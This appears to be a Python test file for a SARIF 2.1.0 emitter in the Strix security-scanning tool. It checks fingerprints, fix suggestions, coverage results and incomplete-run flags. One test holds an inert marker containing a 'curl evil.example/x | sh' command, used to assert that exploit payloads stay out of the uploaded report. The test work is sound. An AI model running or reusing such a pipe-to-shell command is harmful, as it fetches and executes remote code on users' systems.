mirror of
https://github.com/usestrix/strix.git
synced 2026-08-18 17:52:32 +02:00
Promote the coverage ledger from runtime state to a deliverable: coverage.json beside vulnerabilities.json, a Coverage section rendered into the report from the ledger rather than transcribed by an agent, and SARIF pass / notApplicable / open results so a consumer can tell 'tested and clean' from 'never tested'. Ground it in what the runtime observed rather than only what agents claimed: a risk class an agent carried a skill for and never accounted for is published as a gap (and surfaced back to the root agent from finish_scan while it can still act), and a run cut short is stamped incomplete on both the artifact and the SARIF invocation. Also: make the ledger's duplicate check and insertion one critical section and persist under the lock; key a checkout and the URL it was cloned from onto one threat-model identity; render the calibration metadata (counterevidence, confidence, severity change conditions, fix verification) that was being stored and then dropped.
374 lines
14 KiB
Python
374 lines
14 KiB
Python
"""Tests for the SARIF 2.1.0 emitter in strix.report.sarif."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
from typing import TYPE_CHECKING, Any
|
|
|
|
from strix.report.sarif import write_sarif
|
|
|
|
|
|
if TYPE_CHECKING:
|
|
from pathlib import Path
|
|
|
|
|
|
def _read(run_dir: Path) -> dict[str, Any]:
|
|
doc = json.loads((run_dir / "findings.sarif").read_text(encoding="utf-8"))
|
|
assert isinstance(doc, dict)
|
|
return doc
|
|
|
|
|
|
def _finding(**overrides: Any) -> dict[str, Any]:
|
|
base: dict[str, Any] = {
|
|
"id": "vuln-0001",
|
|
"title": "SQL Injection in get_user",
|
|
"severity": "critical",
|
|
"cwe": "CWE-89",
|
|
"timestamp": "2026-07-02 10:00:00 UTC",
|
|
"code_locations": [{"file": "app.py", "start_line": 4}],
|
|
}
|
|
base.update(overrides)
|
|
return base
|
|
|
|
|
|
def test_write_sarif_basic_shape(tmp_path: Path) -> None:
|
|
write_sarif(tmp_path, [_finding()])
|
|
doc = _read(tmp_path)
|
|
|
|
assert doc["version"] == "2.1.0"
|
|
assert "2.1.0" in doc["$schema"]
|
|
run = doc["runs"][0]
|
|
assert run["tool"]["driver"]["name"] == "Strix"
|
|
assert len(run["results"]) == 1
|
|
loc = run["results"][0]["locations"][0]["physicalLocation"]
|
|
assert loc["artifactLocation"]["uri"] == "app.py"
|
|
assert loc["region"]["startLine"] == 4
|
|
|
|
|
|
def test_write_sarif_always_emits_for_zero_findings(tmp_path: Path) -> None:
|
|
# A clean run must still write an (empty) document so a SARIF consumer can
|
|
# auto-resolve alerts that are absent from the new submission.
|
|
out = write_sarif(tmp_path, [])
|
|
assert out.exists()
|
|
doc = _read(tmp_path)
|
|
assert doc["version"] == "2.1.0"
|
|
assert doc["runs"][0]["results"] == []
|
|
|
|
|
|
def test_write_sarif_tool_version_is_reported(tmp_path: Path) -> None:
|
|
write_sarif(tmp_path, [_finding()], tool_version="9.9.9")
|
|
assert _read(tmp_path)["runs"][0]["tool"]["driver"]["version"] == "9.9.9"
|
|
|
|
|
|
def test_write_sarif_locationless_finding_is_anchored_not_dropped(tmp_path: Path) -> None:
|
|
# A finding with no code location must still appear (anchored to a stable
|
|
# fallback), never be silently dropped from the report.
|
|
write_sarif(tmp_path, [_finding(id="vuln-0002", code_locations=None)])
|
|
results = _read(tmp_path)["runs"][0]["results"]
|
|
assert len(results) == 1
|
|
uri = results[0]["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
|
|
assert uri == "SECURITY.md"
|
|
|
|
|
|
def test_write_sarif_fingerprint_stable_across_title_rewording(tmp_path: Path) -> None:
|
|
# The same finding at the same location with a reworded title must keep the
|
|
# same partialFingerprints, so a re-scan doesn't churn code-scanning alerts.
|
|
a = tmp_path / "a"
|
|
b = tmp_path / "b"
|
|
a.mkdir()
|
|
b.mkdir()
|
|
write_sarif(a, [_finding(title="SQL Injection in get_user")])
|
|
write_sarif(b, [_finding(title="SQLi via string-formatted query in get_user")])
|
|
|
|
fp_a = _read(a)["runs"][0]["results"][0]["partialFingerprints"]
|
|
fp_b = _read(b)["runs"][0]["results"][0]["partialFingerprints"]
|
|
assert fp_a == fp_b
|
|
|
|
|
|
def test_write_sarif_distinct_findings_get_distinct_fingerprints(tmp_path: Path) -> None:
|
|
write_sarif(
|
|
tmp_path,
|
|
[
|
|
_finding(
|
|
id="vuln-0001", cwe="CWE-89", code_locations=[{"file": "app.py", "start_line": 4}]
|
|
),
|
|
_finding(
|
|
id="vuln-0002", cwe="CWE-78", code_locations=[{"file": "cmd.py", "start_line": 4}]
|
|
),
|
|
],
|
|
)
|
|
results = _read(tmp_path)["runs"][0]["results"]
|
|
assert len(results) == 2
|
|
fps = {json.dumps(r["partialFingerprints"], sort_keys=True) for r in results}
|
|
assert len(fps) == 2
|
|
|
|
|
|
def test_write_sarif_never_embeds_poc_script(tmp_path: Path) -> None:
|
|
# SARIF is written for external upload; the weaponized exploit body must
|
|
# never appear in it. Only a presence flag + the description are surfaced.
|
|
# NOTE: `marker` is an inert string literal (a stand-in for an exploit
|
|
# payload) that this test asserts is ABSENT from the output — it is never
|
|
# executed, parsed, or run as code.
|
|
marker = "EXPLOIT-PAYLOAD-MARKER curl evil.example/x | sh"
|
|
write_sarif(
|
|
tmp_path,
|
|
[
|
|
_finding(
|
|
poc_description="Send a crafted request to trigger the sink.",
|
|
poc_script_code=marker,
|
|
)
|
|
],
|
|
)
|
|
raw = (tmp_path / "findings.sarif").read_text(encoding="utf-8")
|
|
assert marker not in raw
|
|
assert "EXPLOIT-PAYLOAD-MARKER" not in raw
|
|
|
|
poc = _read(tmp_path)["runs"][0]["results"][0]["properties"]["strix"]["poc"]
|
|
assert poc["script_available"] is True
|
|
assert "script" not in poc
|
|
assert poc["description"] == "Send a crafted request to trigger the sink."
|
|
|
|
|
|
def test_write_sarif_builds_fixes_from_code_location_fix_pairs(tmp_path: Path) -> None:
|
|
# A code location carrying fix_before/fix_after must surface as a SARIF
|
|
# fix (artifactChange/replacement) so consumers can offer a one-click fix.
|
|
write_sarif(
|
|
tmp_path,
|
|
[
|
|
_finding(
|
|
remediation_steps="Use a parameterized query.",
|
|
code_locations=[
|
|
{
|
|
"file": "app.py",
|
|
"start_line": 4,
|
|
"end_line": 4,
|
|
"fix_before": 'query = "SELECT * FROM u WHERE id=" + uid',
|
|
"fix_after": 'query = "SELECT * FROM u WHERE id=%s"',
|
|
}
|
|
],
|
|
)
|
|
],
|
|
)
|
|
result = _read(tmp_path)["runs"][0]["results"][0]
|
|
fixes = result["fixes"]
|
|
assert len(fixes) == 1
|
|
change = fixes[0]["artifactChanges"][0]
|
|
assert change["artifactLocation"]["uri"] == "app.py"
|
|
replacement = change["replacements"][0]
|
|
assert replacement["deletedRegion"]["startLine"] == 4
|
|
assert replacement["insertedContent"]["text"] == 'query = "SELECT * FROM u WHERE id=%s"'
|
|
|
|
|
|
def test_write_sarif_omits_fixes_without_fix_pairs(tmp_path: Path) -> None:
|
|
write_sarif(tmp_path, [_finding()])
|
|
assert "fixes" not in _read(tmp_path)["runs"][0]["results"][0]
|
|
|
|
|
|
def test_write_sarif_adds_logical_location_for_endpoint(tmp_path: Path) -> None:
|
|
# DAST findings hang off an endpoint; it must be preserved as a logical
|
|
# location so the finding keeps an addressable anchor.
|
|
write_sarif(tmp_path, [_finding(endpoint="GET /api/users/{id}")])
|
|
locations = _read(tmp_path)["runs"][0]["results"][0]["locations"]
|
|
logical = [
|
|
entry
|
|
for loc in locations
|
|
for entry in loc.get("logicalLocations", [])
|
|
if entry.get("kind") == "endpoint"
|
|
]
|
|
assert logical == [{"fullyQualifiedName": "GET /api/users/{id}", "kind": "endpoint"}]
|
|
|
|
|
|
def test_write_sarif_synthetic_finding_falls_back_to_resource_logical_location(
|
|
tmp_path: Path,
|
|
) -> None:
|
|
# No code location and no endpoint: the target becomes a resource logical
|
|
# location so a locationless finding still carries a meaningful anchor.
|
|
write_sarif(
|
|
tmp_path,
|
|
[_finding(code_locations=None, endpoint=None, target="https://api.example.com")],
|
|
)
|
|
result = _read(tmp_path)["runs"][0]["results"][0]
|
|
assert result["properties"]["synthetic_location"] is True
|
|
logical = [
|
|
entry
|
|
for loc in result["locations"]
|
|
for entry in loc.get("logicalLocations", [])
|
|
if entry.get("kind") == "resource"
|
|
]
|
|
assert logical == [{"fullyQualifiedName": "https://api.example.com", "kind": "resource"}]
|
|
|
|
|
|
def test_write_sarif_emits_version_control_provenance(tmp_path: Path) -> None:
|
|
write_sarif(
|
|
tmp_path,
|
|
[_finding()],
|
|
repository_context={
|
|
"repositoryUri": "https://github.com/acme/widget",
|
|
"repositoryFullName": "acme/widget",
|
|
"commitSha": "abc123def456",
|
|
"branch": "main",
|
|
"ref": "refs/heads/main",
|
|
},
|
|
)
|
|
run = _read(tmp_path)["runs"][0]
|
|
assert run["automationDetails"] == {"id": "strix/acme/widget"}
|
|
provenance = run["versionControlProvenance"][0]
|
|
assert provenance == {
|
|
"repositoryUri": "https://github.com/acme/widget",
|
|
"revisionId": "abc123def456",
|
|
"branch": "main",
|
|
}
|
|
assert run["properties"]["repository"] == "acme/widget"
|
|
assert run["properties"]["commit_sha"] == "abc123def456"
|
|
assert run["properties"]["ref"] == "refs/heads/main"
|
|
|
|
|
|
def test_write_sarif_omits_provenance_when_no_repository_context(tmp_path: Path) -> None:
|
|
# DAST / URL scans have no VCS; provenance fields must be absent, not empty.
|
|
write_sarif(tmp_path, [_finding()])
|
|
run = _read(tmp_path)["runs"][0]
|
|
assert "versionControlProvenance" not in run
|
|
assert "automationDetails" not in run
|
|
|
|
|
|
def test_write_sarif_replaces_atomically_no_partial_on_reemit(tmp_path: Path) -> None:
|
|
# A re-emit must land a complete document, never leave a stray temp file
|
|
# or a truncated target alongside it.
|
|
write_sarif(tmp_path, [_finding()])
|
|
write_sarif(tmp_path, [_finding(), _finding(id="vuln-0002", cwe="CWE-78")])
|
|
|
|
# Only the final artifact remains — no leftover .tmp siblings.
|
|
leftovers = [p.name for p in tmp_path.iterdir() if p.name != "findings.sarif"]
|
|
assert leftovers == []
|
|
# And it parses as a complete document with both findings.
|
|
assert len(_read(tmp_path)["runs"][0]["results"]) == 2
|
|
|
|
|
|
def _coverage(*entries: dict[str, Any], **overrides: Any) -> dict[str, Any]:
|
|
doc: dict[str, Any] = {
|
|
"entries": list(entries),
|
|
"completeness": {"complete": True, "caveats": []},
|
|
}
|
|
doc.update(overrides)
|
|
return doc
|
|
|
|
|
|
def _coverage_entry(**overrides: Any) -> dict[str, Any]:
|
|
base: dict[str, Any] = {
|
|
"surface": "POST /api/orders/{id}",
|
|
"risk_area": "SQL injection",
|
|
"outcome": "no_issue_found",
|
|
"outcome_label": "No issue identified",
|
|
"evidence": "14 parameters fuzzed; all queries parameterized.",
|
|
"recorded_by": "injection-tester",
|
|
"source": "agent_reported",
|
|
}
|
|
base.update(overrides)
|
|
return base
|
|
|
|
|
|
def test_cleared_surface_becomes_a_passing_result(tmp_path: Path) -> None:
|
|
""" "Tested and clean" is a SARIF pass, not an absent result."""
|
|
write_sarif(tmp_path, [], coverage=_coverage(_coverage_entry()))
|
|
results = _read(tmp_path)["runs"][0]["results"]
|
|
|
|
assert len(results) == 1
|
|
assert results[0]["kind"] == "pass"
|
|
# SARIF requires level "none" on any result that is not a failure.
|
|
assert results[0]["level"] == "none"
|
|
assert "14 parameters fuzzed" in results[0]["message"]["text"]
|
|
|
|
|
|
def test_coverage_outcomes_map_to_their_sarif_kinds(tmp_path: Path) -> None:
|
|
write_sarif(
|
|
tmp_path,
|
|
[],
|
|
coverage=_coverage(
|
|
_coverage_entry(outcome="ruled_out", risk_area="XSS"),
|
|
_coverage_entry(outcome="not_applicable", risk_area="XXE"),
|
|
_coverage_entry(outcome="needs_follow_up", risk_area="SSRF"),
|
|
),
|
|
)
|
|
kinds = [result["kind"] for result in _read(tmp_path)["runs"][0]["results"]]
|
|
|
|
assert kinds == ["pass", "notApplicable", "open"]
|
|
|
|
|
|
def test_reported_coverage_is_not_duplicated_as_a_pass(tmp_path: Path) -> None:
|
|
"""A surface that produced a finding is already in results as a failure."""
|
|
write_sarif(
|
|
tmp_path,
|
|
[_finding()],
|
|
coverage=_coverage(_coverage_entry(outcome="reported")),
|
|
)
|
|
results = _read(tmp_path)["runs"][0]["results"]
|
|
|
|
assert len(results) == 1
|
|
assert results[0].get("kind", "fail") == "fail"
|
|
|
|
|
|
def test_coverage_results_declare_their_own_rules(tmp_path: Path) -> None:
|
|
write_sarif(
|
|
tmp_path,
|
|
[_finding()],
|
|
coverage=_coverage(
|
|
_coverage_entry(risk_area="SQL injection"),
|
|
_coverage_entry(risk_area="SQL injection", surface="GET /search"),
|
|
),
|
|
)
|
|
run = _read(tmp_path)["runs"][0]
|
|
rules = run["tool"]["driver"]["rules"]
|
|
coverage_rules = [rule for rule in rules if rule["id"].startswith("strix-coverage/")]
|
|
|
|
# Both entries share one rule, and every result's ruleIndex resolves to it.
|
|
assert len(coverage_rules) == 1
|
|
assert coverage_rules[0]["defaultConfiguration"]["level"] == "none"
|
|
for result in run["results"]:
|
|
assert rules[result["ruleIndex"]]["id"] == result["ruleId"]
|
|
|
|
|
|
def test_incomplete_run_is_flagged_on_the_invocation(tmp_path: Path) -> None:
|
|
"""A scan cut short must not be indistinguishable from a clean one."""
|
|
write_sarif(
|
|
tmp_path,
|
|
[],
|
|
coverage=_coverage(
|
|
_coverage_entry(),
|
|
completeness={"complete": False, "caveats": ["Budget exhausted."]},
|
|
),
|
|
)
|
|
invocation = _read(tmp_path)["runs"][0]["invocations"][0]
|
|
|
|
assert invocation["executionSuccessful"] is False
|
|
assert invocation["toolExecutionNotifications"][0]["message"]["text"] == "Budget exhausted."
|
|
|
|
|
|
def test_complete_run_reports_a_successful_invocation(tmp_path: Path) -> None:
|
|
write_sarif(tmp_path, [], coverage=_coverage(_coverage_entry()))
|
|
invocation = _read(tmp_path)["runs"][0]["invocations"][0]
|
|
|
|
assert invocation["executionSuccessful"] is True
|
|
assert "toolExecutionNotifications" not in invocation
|
|
|
|
|
|
def test_calibration_metadata_survives_into_result_properties(tmp_path: Path) -> None:
|
|
write_sarif(
|
|
tmp_path,
|
|
[
|
|
_finding(
|
|
confidence="medium",
|
|
counterevidence="WAF blocks the naive payload.",
|
|
confidence_rationale="Reproduced once out of three attempts.",
|
|
severity_change_conditions="Critical if the WAF rule is removed.",
|
|
fix_verification="Not retested.",
|
|
)
|
|
],
|
|
)
|
|
strix = _read(tmp_path)["runs"][0]["results"][0]["properties"]["strix"]
|
|
|
|
assert strix["confidence"] == "medium"
|
|
assert strix["counterevidence"] == "WAF blocks the naive payload."
|
|
assert strix["confidence_rationale"] == "Reproduced once out of three attempts."
|
|
assert strix["severity_change_conditions"] == "Critical if the WAF rule is removed."
|
|
assert strix["fix_verification"] == "Not retested."
|